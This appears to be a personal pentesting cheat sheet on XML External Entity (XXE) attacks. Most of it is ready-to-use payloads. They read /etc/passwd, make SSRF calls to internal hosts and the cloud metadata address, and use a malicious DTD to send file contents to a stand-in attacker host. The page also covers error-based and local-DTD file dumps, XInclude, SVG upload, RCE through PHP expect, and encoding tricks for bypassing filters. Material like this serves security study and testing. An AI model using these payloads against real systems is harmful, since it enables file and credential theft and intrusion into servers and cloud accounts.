Link Search Menu Expand Document
Table of contents
  1. How to find it
  2. What can you do with it?
    1. retrieve files
    2. ssrf attack
    3. Blind
    4. Malicious DTD
    5. via error messages
    6. exploiting by repurposnig local DTD
    7. Xinclude attack
    8. XXE via file upload
    9. modified content type
  3. Possible RCE when PHP expect is available:
  4. Parsers
    1. Libxml
  5. encoding
    1. prevention

How to find it

We need some XML interfacing..

What can you do with it?

retrieve files

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

ssrf attack

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<items><item>&xxe;</item></items>

or, attacking the cloud setup

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<items><item>&xxe;</item></items>

Blind

Use like ssrf, but with a burp collaborator location

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<items><item>&xxe;</item></items>

or by using XML parameters

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Malicious DTD

(blind) Exfiltration using a malicious dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

host this on a controlled server:

http://web-attacker.com/malicious.dtd

Submit payload, loading the dtd, triggering the exfil:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

via error messages

malicious dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

The generated error will display the file contents (hopefully)

exploiting by repurposnig local DTD

  1. locate a dtd: Enumerate the os used to find a dtd, example linux running gnome:
    <!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    %local_dtd;
    ]>
    

    this will fail when missing.

  2. Have it trigger an error and dump a file to the error as desscribed above (error)
    <!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    '>
    %local_dtd;
    ]>
    

    This repurposes the ISOamso entity to fail and dump the file

Xinclude attack

This works when the input is put in xml and then parsed. Try this when doctype element is not accessible

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE via file upload

svg is also xml: so create the following and upload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

modified content type

sometimes parameters may be offered in different content like:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

can be rewritten in xml like:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

src portswigger

Possible RCE when PHP expect is available:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

src owasp

Parsers

By default moet parses do not accept external doctypes.

Libxml

Unless the parser is setupt with the flags LIBXML_NOENT and LIBXML_DTDLOAD that bypass default security

src: PHP.net

encoding

Sometime there are filters before the DOM/XML loader the prohibit the DOCTYPE tag. These might be bypasseble by using a different encoding like utf-8 utf-16 utf-16be utf-32 utf-7 (not widely accepted though)

iconv -s utf-8 -t utf-16 payload.xml -o payload_16.xml

prevention

look here especially when source is available: owasp xxe prevention cheat sheet


40397ac9 (main) : 2023-01-11T20:40:16+01:00